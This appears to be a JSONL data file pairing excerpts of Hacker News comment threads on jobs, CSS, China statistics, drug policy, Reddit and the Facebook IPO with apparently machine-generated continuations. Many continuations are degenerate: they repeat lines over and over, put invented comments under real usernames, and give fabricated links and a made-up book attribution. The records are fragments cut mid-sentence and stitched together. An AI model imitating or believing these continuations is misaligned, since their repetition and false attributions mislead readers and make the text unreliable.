responders.\n\n[https://www.youtube.com/watch?v=-L11Bxolo44](https://www.youtube.com/watch?v=-L11Bxolo44)\n\n------\njohngalt\nThis smells like recruiters gaming the system while under pressure from the\ntop to fill quotas. In the same vein as Wells Fargo.\n\nHit this impossible target or you're fired. We can't tell you to lie/cheat\npeople to hit the numbers but we will promote the people who do and PIP the\nones who don't. Meanwhile we will go through the motions of legal compliance.\n\nEveryone gets what they want and the higher ups can come back later and act\nlike it is a huge surprise to them that the people they hired and trained were\ngaming the system.\n\n------\nthrowawayIndian\nElsewhere, a"} +{"output_text": "launchpotato.com/campaign-\nmanager](http://launchpotato.com/campaign-manager)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior Full Stack Engineer\n\n* Senior Mobile Engineer", "input_text": "lr4fwn](https://www.hulu.com/jobs/positions/onlr4fwn)\n\nAnd of course you can check out the rest of Hulu's open positions at\n[https://www.hulu.com/jobs](https://www.hulu.com/jobs).\n\n~~~\napurvbhar\nInterested. Is there any email that I can send my resume at?\n\n------\nlaunch-potato\nLAUNCH POTATO | Engineers, Product Managers, Marketing |\n[http://launchpotato.com/careers](http://launchpotato.com/careers) | Delray\nBeach, FL, or Remote | Full Time\n\nLaunch Potato is a profitable startup studio that incubates and launches\nmobile and web companies on our proprietary technology stack.\n\nWe\u2019re HQed in Delray Beach, FL, but have an amazing, distributed global team.\nWe believe in building teams who can solve complex problems using smart\nmarketing, great engineering, data science and fun!\n\nFeatured Openings:\n\nFront-End Engineer, Marketing - [http://launchpotato.com/front-end-\nengineer](http://launchpotato.com/front-end-engineer)\n\nDevOps Engineer - [http://launchpotato.com/devops-\nengineer](http://launchpotato.com/devops-engineer)\n\nData Engineer - [http://launchpotato.com/data-\nengineer](http://launchpotato.com/data-engineer)\n\nProduct Manager - [http://launchpotato.com/product-\nmanager](http://launchpotato.com/product-manager)\n\nCampaign Manager - [http://"} +{"output_text": "\n\n[1] [http://www.smashingmagazine.com/2010/07/01/media-object-\ncss-...](http://www.smashingmagazine.com/2010/07/01/media-object-css-patterns-\nand-best-practices/)\n\n[2] [http://www.smashingmagazine.com/2011/01/07/the-open-closed-\npr...](http://", "input_text": " (say a different BG colour) but it also has a lot in common with other\nparts of the page. For instance, it's nothing more than a grid column, so why\nbundle all styles into one class instead of using the grid abstraction to\n\"decorate\" the sidebar with this? This is equivalent to breaking a system into\nreusable classes. See Nicole Sullivan's article on the Media Object [1] and\nHarry Roberts on the open/closed principle in CSS [2]\n\nSingle-responsibility principle - Do one thing and do it well. A class should\nhave a single-responsibility so that it can be composed into larger \"blocks\"\nof styling. A class that does everything is monolithic and difficult to work\nwith as soon as a design needs to change. Overly broad selectors in CSS can\nalso break the single responsibility principle - suddenly your styling is\nrelying on the coincidental placement of elements inside one another. Harry\nRoberts cover this [3]\n\nLoose-coupling: Can parts of your code base change without affecting others?\nBy @extending grid classes you're tightly coupling yourself to the\nimplementation details of the grid system. Now you can of course override\nstyles in your sidebar class, but overriding styles from previous classes is a\ncode smell. If you're \"undoing\" what another class has done, you've applied a\nstyle too early. You suggest changing the CSS and leaving the HTML the same\nwhen a change is required. I always prefer changing the HTML because it has a\nfar more limited scope for far reaching changes. If you change one segment of\nHTML you know it's not going to affect other parts of the site beyond itself\n(and possibly it's children), but if you change some tightly-coupled CSS its\neffects could ripple throughout the whole site."} +{"output_text": "://www.amazon.jobs/en/jobs/111203](https://www.amazon.jobs/en/jobs/111203) * [https://www.amazon.jobs/en/jobs/111204](https://www.amazon.jobs/en/jobs/111204) * [https://www.amazon.jobs/en/jobs/111205](https://www.amazon.jobs/en/jobs/111205)\n", "input_text": " our engineering blog to see what we've been working on:\n[https://mixmax.com/engineering](https://mixmax.com/engineering)\n\nOur stack: Node, Mongo, Elasticsearch, AWS, Redis, Electron (full stack:\n[http://stackshare.io/mixmax/mixmax-for-\nweb](http://stackshare.io/mixmax/mixmax-for-web))\n\nEmail careers@mixmax.com and let\u2019s chat!\n\n~~~\ndesi_ninja\nIs the post still there? I sent a mail in January for this post and haven't\ngotten any reply. Should I apply again or no response is automatically a\nrejection?\n\n------\ngaff\nAmazon Prime Now | SDEs, SDMs, TPMs, QAEs | Seattle, WA and San Diego, CA |\nFULLTIME | ONSITE\n\nMy team is working on a confidential, high impact initiative for Prime Now\nthat involves working with over 75 teams across Amazon, solving highly\nambiguous problems on an international scale at a tremendous pace with a heavy\nfocus on customer experience. This is an early stage initiative with a fast\npaced, highly collaborative start up like environment inside Amazon.\n\nI am hiring Software Development Engineers, Software Development Managers,\nTechnical Program Managers, and Quality Assurance Engineers to work on this\nexciting and evolving challenge. We operate under a single-threaded owner\nwhich means the technical team work extremely closely with our product team.\n\nBelow are a few of the positions we are hiring for in both Seattle and San\nDiego. If you are interested please reach out to me (gjones @ amazon. com)\nand include HN in the subject. Thanks!\n\n* [https"} +{"output_text": "ive study on this is the book \"The Great Chinese Transformation\" by\nthe Economist's China editor, John Garnaut.\n\n~~~\nmytailorisrich\n> _I don 't see it frequently in writing, but the majority of TV and podcast\n> reporting from news sites has the disclaimer._\n\nI don't think it's a disclaimer. It's just a statement of fact.\n\n> _The ability to collect accurate statistics when there 's", "input_text": "ated-for-nine-years-study-finds)\n\n[https://time.com/5811222/wuhan-coronavirus-death-\ntoll/](https://time.com/5811222/wuhan-coronavirus-death-toll/)\n\netc\n\nWhy should any respectable journalist quote their statistics about COVID and\nconclude how effective their response was without mentioning that they've been\nknown to fabricate statistics? Let alone calling them a 'Global Leader' in\nresponse. I've not seen this qualification mentioned once with respect to\nChina's stats on this virus.\n\n~~~\ndirtyid\n>mentioned once\n\nI don't see it frequently in writing, but the majority of TV and podcast\nreporting from news sites has the disclaimer. And there's enough China bad\narticles out there that I feel like this is implicitly assumed.\n\nEither way, no one trusts Chinese stats, including the Chinese public\nthemselves, and the Chinese government most of all. The ability to collect\naccurate statistics when there's so many different development levels country-\nwide simply isn't there. For example, China doesn't use GDP internally, they\nuse LKI, LiKeQiang Index which aggregates a value from measurable indicators\nlike freight cargo volume, electric consumption, bank loans. There's also TSF,\nTotal Social Financing. They can still be gamed, but physically (running empty\ntrains), but much harder to fake via submitting fake excel sheets to central\ngovernment. Chinese GDP is basically a back of the napkin estimate to appease\nforeign investors, it's also used to set growth targets instead of reflecting\nit. Most of the mainstream western reporting on Chinese GDP does not\nunderstand this. It's well understood among China watchers. The most\ncomprehens"} +{"output_text": " and I'd like to read some good examples of good writing in computer science. I'm looking for examples of good writing in computer science, not just technical writing. I'm not looking for examples of good writing in general, but examples of good writing in computer science. I'm looking for examples of good writing in computer science that are not just technical writing. I'm looking for examples of good writing", "input_text": "W? Open these.\")\n\n------\np0larboy\n(Click -> Tool tip) works better IMO. The sudden append of words threw off my\nreading rhythm.\n\n------\nsteveklabnik\nI've used something similar for talking about complex code examples. You can\nshow only the current line you're talking about, but have a button to expand\nout the full example. it's pretty great. Excited to give this a try!\n\n------\nGroSacASacs\nHow does a screen reader handle that?\n\n~~~\nStavrosK\nI'm not sure (I'd appreciate some feedback by someone who uses one), but I'd\nthink it would just read the whole text. Depends on what it does with hidden\ntext.\n\n~~~\nGroSacASacs\nI recommend reading [https://en.wikipedia.org/wiki/WAI-\nARIA](https://en.wikipedia.org/wiki/WAI-ARIA)\n\n------\nvisarga\nGreat, a nice little used UI pattern. Now when will my Expounder Wikipedia\nviewer come?\n\n------\nharel\nVery nice and clever. I like it it fits seamlessly into the text.\n\n------\nChristianBundy\nI _knew_ that name looked familiar! Small world.\n\n~~~\nStavrosK\nHaha, you bastard :P\n\n \n\nAsk HN: Examples of good writing in computer science? - chewxy\n\nHey fellow HNers

I'm about to go off for a holiday and I'd have many hours to kill on the plane and I'd like to spend some time reading. I've started work on writing a book on virtual machines"} +{"output_text": "\nthat are visible to the naked eye.\n\n~~~\nimvetri\nI am not saying it is fake. I am saying that it is not possible to fake it.\n\n~~~\nPopePompus\nI'm not saying it's fake. I'm saying that it's not possible to fake it.\n\n------\njedberg\nI\u2019m curious if this is a new feature or if it\u2019s been around for a while.\n\n~~~\n", "input_text": " at this\ncomputational photography though (I've never checked to see if there are linux\nversions), but it better be if it indeed helps image quality.\n\n~~~\nygra\nYeah, it's definitely nice to get ~1000 images per battery charge. But when\nuploading to the PC infrequently you'll then have to sort photos into groups\nto process individually (something I already hate with panoramas). Personally\nit's something I'd rather not do, at the expense of only getting ~200 photos\nper charge. It's also not necessary to compromise, as those special modes\nwould be, well, special modes. So to preserve battery I could just as well\nshoot raw as normal.\n\n------\nPopePompus\nThe photos taken in this mode are amazing. But I think they are improved a lot\nif a vignetting correction is applied. Without that correction, the sky\nbrightness is much greater near the center of the field than near the edges.\n\n------\nkohtatsu\nAny recommendations for tripods/cases?\n\niPhone 11 Pro here.\n\n------\nimvetri\nWhat are the possibilities that this AI camera app is not faking the image.\n\nHere is why I ask \\- It has gyro - so knows whether we are pointing at sky or\nnot. \\- AI checks whether its a clear sky - if yes - post fake image. If no -\nDont risk getting caught. \\- Time + geo spacing - Gives the angle, position of\ncamera relative to the space above us.\n\n~~~\nPopePompus\nThere is no chance this is being faked. I've been playing with the\nastrophotography mode on a Pixel 4 XL in a remote country location with no\ncell phone connectivity. A single 4 minute exposure is able to record stars"} +{"output_text": "newport.com/blog/)\n\n------\njason_slack\nI would suggest you look at the following:\n\n[http://www.careercast.com/podcast/careercast-\nepisode-10-the-...](http://www.careercast.com/podcast/careercast-\nepisode-10-the-career-of-your-dreams-with-jason-slack/)\n\n", "input_text": "? For whom? The thing is distributed, it's not like the host has\nto shoulder most of the bandwidth costs.\n\nIf one wants to live off their videos, that's another problem, but most videos\ndon't mean to be monetised at all \u2014no ads, no Patreon, no nothing.\n\n~~~\nralusek\nThey can just use Patreon in exactly the same way they do for YouTube.\n\n \n\nChange to IT - rjohnk\n\nIn short: Is there a way to transition to IT without dropping everything and going back to school?

Long story: I initially went to college in pursuits of a Comp Sci degree. I had a difficult time and burnt out in one year, switching my major a full 180 to Psychology/Social Services.

I'm now at a non-profit, but it's not what I want to do.

I shouldn't have done that 180. I should have done a "30". But I was young.

I have children and a wife, and going back to school, even part-time, is not an option as I'm already paying off loans. How do I get my foot in the door? I'm not formally trained, but I always fall back into Tech/Computers, and want to do that in my work.\n======\nxtraclass\nMaybe you could choose a topic which is interesting to you and where there is\na good market. Then learn about it (WEB), practice it at home as much as\npossible, write about it - ask for a job then. About learning and job:\n[http://calnewport.com/blog/](http://cal"} +{"output_text": "\njustice system in the US:\n\n[https://en.wikipedia.org/wiki/Criminal_justice_in_the_United_...](https://en.wikipedia.org/wiki/Criminal_justice_in_the_United_States)\n\n[https://en.wikipedia.org/wiki/Criminal_justice_in_the_United_...](https://en.wikipedia.org/wiki/Criminal_justice_", "input_text": " experience with Metro apps on touch devices\nhas been amazing. On desktops, I rarely have a reason to use them - except for\nrunning a full-screen Kindle / Netflix app on an additional monitor.\n\nFWIW, iOS7 and the latest Android UI actually borrow a lot from the Windows\nPhone flavor of metro pretty heavily. The context switching between apps on\niOS7 is identical to what MSFT introduced in WP7.1 (Mango.)\n\n~~~\njccalhoun\nI agree. On my (non-touch screen) laptop I hardly ever use the metro apps. I\nlike win8 but I just go to the desktop practically every time. There just\naren't any metro apps worth using right now (I basically only use this laptop\nwhen i'm in front of my netflix-capable tv)\n\n~~~\nAaronontheweb\nDecent Metro Apps: I recommend ReddHub - it's a pretty slick Reddit client for\nthe Windows Store. I use it on my Surface RT all the time.\n\n \nBuilding software to identify trends in unsolved murders - adventured\nhttps://www.bloomberg.com/news/features/2017-02-08/serial-killers-should-fear-this-algorithm\n======\ne28eta\nDoes anyone know why MAP focuses on the clearance rate? It seems to conflate\narresting someone with \"solving\" the murder.\n\nI can think of some plausible reasons: practicality (easiest to collect,\nstable over time), political (if your audience is the police, basing your work\non the assumption that they arrest the right guy is probably smart),\nstandardization (is it?), etc.\n\nWikipedia is fairly light, but does link to a pair of articles on the criminal"} +{"output_text": " drugs).\n\nI think the best way to prevent drug abuse is to educate people about the\nrisks, and to make sure that the risks are not too high.\n\nI think the best way to prevent drug abuse is to make sure that the risks are\nnot too high.\n\nI think the best way to prevent drug abuse is to make sure that the risks are\nnot too high.\n\nI think the best way to prevent drug abuse is to make sure that the", "input_text": "://libgen.org/scimag/get.php?doi=10.1177%2F0269881114548...](http://libgen.org/scimag/get.php?doi=10.1177%2F0269881114548296)\n\n------\nJetSpiegel\nI think it's hypocritical to defend keeping other drugs illegal while allowing\nalcohol and tobacco to thrive. Either we go full puritan and forbid all drug\nuse, or this talk of defending people from themselves is just protectionism\nfor the tobacco and alcohol industries.\n\n------\nweddpros\nI know it's easier to say \"it's obviously bad, so we must ban it\"... but I\nwanted to share some thoughts too. (I don't use drugs, I stopped smoking, I\nstill drink alcohol)\n\nCantaloupe can kill me (allergy), so I choose not to eat it. Darwin at work...\nFor similar reasons, I'm not pro-drugs.\n\nBut I don't think a ban on cantaloupe is needed, the same way I think drug\nprohibition is not an appropriate response to drug abuse. I know it seems far\nstretched, but please read on.\n\nWe base our choice on perceived risk vs benefits. People who decide to use\ndrugs that could kill them probably don't care about the law. If you accept a\nhigh risk of death, jail shouldn't look like a major risk for you.\n\nThe fact that a majority of people have tried drugs prove that prohibition\nonly allows punishment, but it doesn't prevent drug abuse.\n\nReconsidering prohibition doesn't equal being lawless: if a drug addict\nkills/hurts/steals from you, he risks jail anyway for that (not so much for\nusing"} +{"output_text": " allowing communities to form in the first place.\n\n~~~\nsaltedonion\nI\u2019m not sure what you mean by \u201cthought bubbles\u201d.\n\n~~~\nIgorPartola\nI mean communities that are just a bunch of people who agree with each other\nand don\u2019t have to be reasoned with.\n\n------\nmatt_s\nI think the problem is that Reddit is a place where people can be themselves\nand not be judged.\n\n------\n", "input_text": " best make it an optional preference, but why\nwould you _want_ to see offensive slurs by default?\n\n~~~\northecreedence\n> why would you want to see offensive slurs by default?\n\nIf I don't want to see offensive slurs, I won't associate with people who use\nthem. Let me decide what is a slur or not, and let me decide who to associate\nwith.\n\n------\nshawndumas\nThe \u201cforgot password\u201d link does not work. (On mobile so I did not dig in and\nsee if there were any errors in the console.)\n\n------\nEricson2314\nNLNet, the source of funding, is a truly superb institution that should be\nbetter known in the US.\n\n------\nsaltedonion\nUm. CSS isn\u2019t loading on safari mobile. I hope this isn\u2019t the actual\nexperience?\n\n------\nIgorPartola\nThe problem with Reddit isn\u2019t the technology. I mean, yes open source is good,\nand I want more of that. Even Android is a good thing even if only one company\nactively contributes to it. At least when you hit a bug or don\u2019t understand\nhow something works, you can go read the code. But the problem with Reddit is\ncommunity management, and re-writing it won\u2019t solve that.\n\nReddit has been a mostly free for all in terms of moderation, and it is\nexplicitly set up to allow thought bubbles, which gives rise to communities\nthat dox activists, that incite violence, that promote conspiracy theories,\netc. I love Reddit\u2019s good parts and really detest its bad parts. Problem is\nthat you can only solve that with strong application of content guidelines, or\nby not even"} +{"output_text": ".\n\n~~~\npaulryanrogers\nI think the OP is referring to freeware.\n\n~~~\nem3rgent0rdr\nI think you are right.\n\n------\njancsika\n> _I\u2019m not sure if I\u2019m the only one who feels this way, but I\u2019ve been\n> wondering for a while now if there\u2019s a way to make a living as a software\n> developer without selling software._\n", "input_text": " paying _customer_, but not to\nanybody else. Of course, then your customer has the 4 freedoms described\nabove, and he could further sell or give your software, along with the sources\nto somebody else. But this is work and it would involve charges, so he may\nchoose not to do so.\n\n~~~\npaulryanrogers\n> Of course, then your customer has the 4 freedoms described above, and he\n> could further sell or give your software, along with the sources to somebody\n> else. But this is work and it would involve charges, so he may choose not to\n> do so.\n\nWith OpenSSL many apparently did use it and resell it without compensating\nupstream. Only after HeartBleed did that situation change. For a more GPL\nexample I've noticed DosBox Turbo reuses both DosBox and another port's work\nin their sources. My guess is unmodified reselling may be happening with\nWooCommerce plug-in's at Woothemes-plugins.com and Wooextension.com.\n\n~~~\nem3rgent0rdr\nBut let us not forget how efficiently and immediately OpenSSL was able to be\nforked, precisely because it was free software.\n\n~~~\npaulryanrogers\nCertainly that is a benefit for the consumer. But my regrets are because I am\na producer. When others can use one's work to resell updated copies without\ncompensation then I doubt one would feel motivated to keep working on it.\n\n------\nem3rgent0rdr\n\"free software\" is not the same as \"freeware\", which by commonly accepted\nusage is almost always reffering to proprietary software that is distributed\nat no cost. The OP tends to implicitly conflate them"} +{"output_text": " posts are more likely to be new.)\n\n------\njedberg\nI think the problem is that the front page is too full of content that is\ntechnically interesting.\n\nI think the solution is to have a \"new\" page that is just a list of the top\nnewest posts.\n\n~~~\ndang\nI think that's a good idea.\n\n------\njedberg\nI think the problem is that the front page is too full of", "input_text": "Highly technical programming articles can be hard to digest and don't appeal\nto a wide audience so they get less upvotes, especially if it's about a\nspecialized language. If you really wanted to read those articles, you could\nstill find them in abundance on other programming/hacking/specialized forums.\n\n~~~\ncbHXBY1D\nThere was a noticeable drop in quality on HN after we started allowing\npolitical content. I think it's brought in a new crowd of HN users. I remember\nhow in 2006 to 2010 Reddit changed from a place mostly frequented by\nprogrammers to a place filled with memes, trolling, and politics.\n\nEdit: I generally hate the \"the past was better\" type of attitudes but I think\nin the case of HN and Reddit one just needs to look at the quality of 6 years\nago to today.\n\n------\nenkiv2\nMost of the content on HN appears to be about business, rather than about\nprogramming itself, or focuses on lucrative but technically-uninteresting\ncorners of programming (like web design). This business focus makes sense,\nsince HN is run by a VC firm and a lot of non-technical users who would like\nto run tech companies hang out here.\n\nThere's a related category: technically-uninteresting posts about technically-\nuninteresting projects that are essentially advertising for some small\nbusiness. This is probably, again, related to HN being run by a VC firm.\n\n(For context: I browse HN daily, but I never use the front page -- the values\nof the average HN user are far away from mine, so sorting by newest produces\nmore interesting content. If you find the HN frontpage devoid of posts about\nprogramming, try sorting by newness rather than popularity, since technically-\ninteresting"} +{"output_text": " know is a good example of a monstrously strong candidate. He is\na very good scientist, but he is also a very good programmer. He is a\nmonstrously strong candidate.\n\n------\njgrahamc\nI'm not sure that you're going to get a job in the US. I'm not sure that you\ncan get a job in the US.\n\nI'm not sure that you're going to get a job in the US. I'm", "input_text": " school.\n\n4\\. GvR could probably get into a good grad school. Below that will probably\nnot help very much.\n\nHowever, many places will give you a masters if you pay tuition. Don't expect\nto jump from the masters to Ph.D. track, however.\n\n~~~\nplinkplonk\n\"You graduate at age 32. That's over the hill. Many grad schools will flatly\nreject you for this reason\"\n\nI hope this isn't universal. I am planning to apply in 2010 and I'll be 38\nwhen I do. Oh well one more wall to jump over, so what's new? :-)\n\n~~~\nwhacked_new\nI recently met a first year PhD who would be very well \"over the hill.\" Top-\ntier school. There's motivation for ya.\n\nOf course, it could be an exception, but I'm sure admission was granted\nwithout respect to age. As far as I know though, luck was a big determining\nfactor, and as such, I would look at a lot of these things (particularly if\nyou aren't a monstrously strong candidate) very lightly.\n\n~~~\nplinkplonk\n\"I recently met a first year PhD who would be very well o\"ver the hill.\" Top-\ntier school. There's motivation for ya.\"\n\nHey Thanks!\n\n\"particularly if you aren't a monstrously strong candidate\"\n\nGood Point.\n\nA \"monstrously strong\" candidate is what I am trying to be. Hey if we ask\nstartup founders to be monstrously strong developers why not hold ourselves to\nthe same standards as grad students. The journey is very interesting, forcing\nme to evaluate my deficiencies as a candidate and get better constantly.\n\nA scientist I"} +{"output_text": ".\n[https://github.com/bon-lang/bon/blob/master/stdlib/stdlib.c](https://github.com/bon-lang/bon/blob/master/stdlib/stdlib.c)\n\nBon is a compiled language, but it is not compiled to machine code. It is\ncompiled to LLVM IR, which is then compiled to machine code by the LLVM\ncompiler.\n\n~~~\nchrislopez\nThanks for the reply", "input_text": "), memory Managrment,\npurpose (embedded, os, driver and application, ai library, CUDA, mobile app\netc.), library, platform, examples and q&a under stackoverflow etc.\n\n... wonder what is the point of learning a new one.\n\n------\nubertaco\nThis is really neat!\n\nI'm a big fan of Crystal-lang, and I dig the similarity in the sense of \"let's\nstart with Ruby-like syntax, and add more static structure\". I can see the\ndifference here as being that Bon appears to _behave_ more like Haskell or\nOCaml rather than like Ruby, which means that there's still a good niche here.\n\nI hope this neat language finds success!\n\n~~~\nFBMachine\nThanks, I really appreciate it!\n\n------\nchrislopez\nHow is memory managed? I'm assuming some form of garbage collection. So this\ncan be used in any instance C or C++ can? Can it use C and C++ libraries\nbecause it runs on clang?\n\nSorry if these are n00b questions. Bon seems like it could be a nice mix of\nthe wonderful syntax of a python or ruby, and the speed of a C or C++ (or at\nleast a compiled language)\n\n~~~\nFBMachine\nHi Chris, thanks for checking it out. The first code push for Bon was today,\nso many things are of course rough around the edges.\n\nMemory will be garbage collected, though I am aiming for zero-cost as much as\npossible. At the moment it just leaks memory like a sieve as I work out the\nsemantics.\n\nYou can indeed import standard c library calls by using a cdef. You can find\nexamples in the stdlib, e.g"} +{"output_text": " to elaborate on why you think they won't?\n\n~~~\nivankirigin\nI think they will. I think they are just waiting for the right time.\n\nI think they are waiting for the right time to make it easy for developers to\nuse twitter.\n\nI think they are waiting for the right time to make it easy for users to\nswitch to twitter.\n\nI think they are waiting for the right time to make it easy for users to\nswitch", "input_text": "/...](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/DatesAndTimes/DatesAndTimes.html#//apple_ref/doc/uid/10000039-SW1)\n\n \n\nTipjoy (YC W08) now allows payments via Twitter - ivankirigin\nhttp://tipjoys2cents.blogspot.com/2008/12/tip-via-twitter.html\n\n======\nivankirigin\nI'm really excited about this because of where we can go with this.\n\nThe idea of a \"rtip\" or tip/retweet is the biggest innovation here. It's\nexactly how twitter is already used to disperse information, but adds a social\ngesture with monetary weight. That's pretty powerful. If you like a tweet,\njust say \"rtip $1 @username the awesome tweet\".\n\nLots of sites use Twitter credentials, and this means they can initiate\npayments. It also makes those payments inherently social, as they are\nbroadcasted - so in ways it is better than an OAuth system. But we're planning\nthat too.\n\nWe are also accepted new signups via twitter credentials\n\n\nWe're going to open this up to an API, meaning sites based on twitter\ncredentials can convert their whole user base to tipjoy users. I'm really\nlooking forward to see what can be done with these tools.\n\n~~~\nomakase\nThe potential for this idea is what got me excited the minute I saw your post.\n\nAs an aside, I think twitter still needs to release support for OAuth, there\nare too many sites out there storing twitter credentials in plain text right\nnow. Care"} +{"output_text": "/dumb-\npasswords](https://github.com/dumb-password-rules/dumb-passwords)\n\n[2] [https://twitter.com/dumb_passwords](https://twitter.com/dumb_passwords)\n\n[3]\n[https://news.ycombinator.com/item?id=10999594](https://news.ycombinator.com/item?id=109995", "input_text": " banks have suffered a serious\ncompromise leading to the loss of 9-figure plus amounts of money yet?\n\n~~~\nsyrrim\nBanks normally don't actually transfer any money. There's a funny story from\nthe 1920s of the Bank of England pushing money across the vault floor to\nindicate a transfer to France, who held an account with them. The money\ndoesn't actually go anywhere, it just says so on the balance sheet. If someone\n\"steals\" 1 billion dollars by making the system think they took it, someone\nwill eventually notice, then they'll send somebody down to the vault to push\nit back to the other side.\n\nBitcoin is very different: when the bitcoin blockchain says someone else has\nyour money, they have it. Imagine someone had heard that Ethereum had suffered\nno major attacks on exchanges, but hadn't heard of the DAO attack. They must\nthink that Ethereum is extremely secure. Actually, Ethereum is very insecure,\nbut a large enough target will get special treatment. Bitcoin doesn't have the\nsame tendency as Ethereum (and real life) towards hard forks, so of course it\nwill have more attacks on it. But this doesn't imply that anyone will hard\nfork when you get hacked, nor will the banks necessarily reverse the\ntransaction when someone guesses your password.\n\n------\nshanecoin\nI would argue that this is not just banks but a number of different services.\nThis entire Github repository [1] and this Twitter account [2] are dedicated\nto sites with dumb password rules. Passwords are not meant for humans.\n\nHere is a link to a hackernews thread discussing the worst of the requirements\nin the repository is here [3].\n\n[1] [https://github.com/dumb-password-rules"} +{"output_text": " non-standard situations.\n======\ndang\nPlease don't ask for upvotes here.\n\n[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)\n\n------\ndang\nPlease don't ask for upvotes here.\n\n[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.", "input_text": " a link, but I'd recommend you check it\nout.\n\n------\nmarkherhold\nThis is exactly what I need to quickly explain elements of my dashboards to\nnew users! Alternatively, this could let me explain new elements as they are\nadded over time. Perfect!\n\n~~~\nRafert\nBe aware of the licensing though. It was MIT but as of March 9 the license\nfile mentions having to purchase a license if used commercial. Seems\ncontradictory with \"to deal in the Software without restriction\" part of the\nMIT license text.\n\n~~~\nrloc\nRight, I didn't notice at first.\n[http://introjs.com/#commercial](http://introjs.com/#commercial)\n\nLooks like if you use it as part of a commercial product, you have to pay the\nlicense.\n\n~~~\nnathancahill\nWhich is only fair IMO, open source developers have to eat too!\n\n~~~\nafshinmeh\nah thanks God! :-)\n\n------\nsdneirf\nNeat! I was just looking for something like this. Good call out on the MIT\nlicense.\n\n------\ngreenimpala\nWrite an unintuitive UI and then plaster it with 'hints' \\- great!\n\n~~~\ntaf2\nUI is hard... takes a lot of iteration to get right and even then... hints\nhelp IMO\n\n~~~\nafshinmeh\nindeed.\n\n \nAsk HN: AI Sign Language translators - zunzun\nCan AI be made to translate between different sign language variants? I would think computerized avatars could easily be trained, and grant money for such projects should be easy to come by. Computerized vision should be able to read sign language - especially in specific,"} +{"output_text": " the ISP's will be forced to become more than dumb pipes.\n\n------\njimmywanger\n> The internet is a platform, and the internet is a public good.\n\nI don't think that's true.\n\nThe internet is a platform, but it's not a public good.\n\nThe internet is a public good, but it's not a platform.\n\nThe internet is a platform, but it's not a public good.\n\nThe internet", "input_text": "ating, deplatforming, etc.. These are tactics that\nhurt. Hurt people hurt people. If people are allowed to be heard and\nsocialize, they gain happiness and are less likely to hurt people.\n\n------\nwuliwong\nThe conclusion of the article where it speaks about the consequences of de-\nplatforming people leading to 'counter measures' is what I'm thinking will\nhappen. In my opinion, the difference between government censorship and\ngodaddy censorship is that I can just stop using godaddy. Then I can either\nclose my business, use a different service, or try to help build something new\nto circumvent godaddy.\n\nI've been back and forth on distributed storage and blockchain in my mind but\nmy current thinking is that the recent de-platforming is going to hasten the\ndevelopment of alternate solutions that are more robust with regards to\ncensorship. I'm not even considering about whether it is right or wrong, I\njust think that's going to happen.\n\n------\njustaaron\nDespite all the handwringing here, there's no concrete proposal for what to do\nwith rent-seeking attention-seeking deliberatvely difficult individuals whom\none has no obligation to entertain the ideas of.\n\nIf I were NYU, I would simply never book Milo Whatever-his-name-is. Having to\ndeplatform him indicates that someone wanted to platform him in the first\nplace. Kick his useless ass to the curb/kerb, as the case may be.\n\n------\nsuperkuh\nAs long as the ISP stays as a dumb pipe there will always be alternatives.\nSelf hosting is the best hosting and these days ISP connections are definitely\nfast enough to host anyones' small personal site up to a medium size forum.\n\nHopefully"} +{"output_text": "ched the IPO and that the market was not prepared for it.\n\n~~~\njoshu\nI think you're right.\n\nI think the market was not prepared for the IPO because the IPO was not\nprepared for the market.\n\n------\njoshu\nI think the guy is right.\n\nI think the market was not prepared for the IPO because the IPO was not\nprepared for the market.\n\n~~~\njoshu", "input_text": "'s trying to say that he feels like he shouldn't be there, a\npretender to the throne. Happens a lot when you are working class and join a\ndepartment/division that attracts people from more affluent families.\n\n------\ndangero\nI bought Facebook with a limit order when it went on sale to the general\npublic last Friday, and I can confirm it was a terrible experience. Here's\nbasically what happened:\n\nI put in a limit order through tdameritrade the night before with a max price\nof $44. I'm in front of the computer that morning to watch my order when the\nIPO starts. The price spikes up to 45, then treads around low 40s. I refresh\nmy account. My limit order has not gone through. I wait AN HOUR. Still, it has\nnot gone through so I cancel it. Now it says, \"Pending Cancellation.\" It\nremains \"Pending Cancellation\" for over an hour, so I try to call\ntdameritrade, but their lines are completely backed up with calls. Finally,\nthe system suddenly reports that my order was accepted and I bought Facebook\nat 42. It's only an hour from market close by the time I see this. What this\nmeant for me and most everyone else was that I was locked out of the market\nfor the first 2 hours after IPO and my assets were frozen. I could neither buy\nnor sell. I don't think we can really know what the impact of this was on the\nmarket, but it certainly didn't instill short term confidence in the Facebook\nIPO and I think it definitely decreased the volume on the stock.\n\nI'm not going to defend everything the guy said, but I do believe that NASDAQ\nbot"} +{"output_text": " a lot of legacy software, but they are all very productive.\n\n~~~\nKingMachiavelli\nI agree with you, but I think the point is that the majority of people don't\nneed to use these applications.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're a developer, you're going to use a Mac. If you're a non-developer,\nyou're going to use a Chrom", "input_text": " Google Office.\n\n~~~\ndarkcha0s\nWhat kind of an assumption is this. Most people need an operating system they\nare comfortable doing their daily work, not just a browser and a notepad.\nJesus christ, not all non-devs work only in office.\n\n~~~\nKingMachiavelli\n> Most people need an operating system they are comfortable doing their daily\n> work.\n\nTrue, and Windows is very entrenched partly due to Office and legacy software\ndepending on it. Chromebooks and Mac OS seem to be adopted without to much\nhindrance from a UI perspective. i.e How much more populate would Chromebooks\nbe if they ran the full desktop Office suite?\n\n> not all non-devs work only in office.\n\nCertainly not all but a lot of jobs, particularly in management consist mostly\nof emails, meetings, spreadsheets, word documents + a few web apps.\n\nAlso, lets not forget about all the jobs where the computer isn't really part\nof the job at all; it's just a tool to communicate (email) and for document\nproduction/consumption. These machines are basically kiosks that Microsoft has\nmilking licenses out of for Windows + Office + 365 Storage.\n\nSome businesses can switch to Google but many rely on existing Excel\nspreadsheets elsewhere in their organization so there is a lot of momentum to\nswitch away from non-desktop spreadsheet and document applications.\n\n~~~\nClumsyPilot\nI disagree with this 'legacy software's moniker, all the most productive\nsoftware falls into this category.\n\nLook at the Autodesk Suite, Adobe Suite, Enterprise Architect, blender3D,\nUnity game engine, a traditional IDE like Jetbrains or VisualStudio.\n\nThey have"} +{"output_text": "~~~\ngeorgieporgie\nI've had In-n-Out's hamburgers, and they're not bad. But they're not 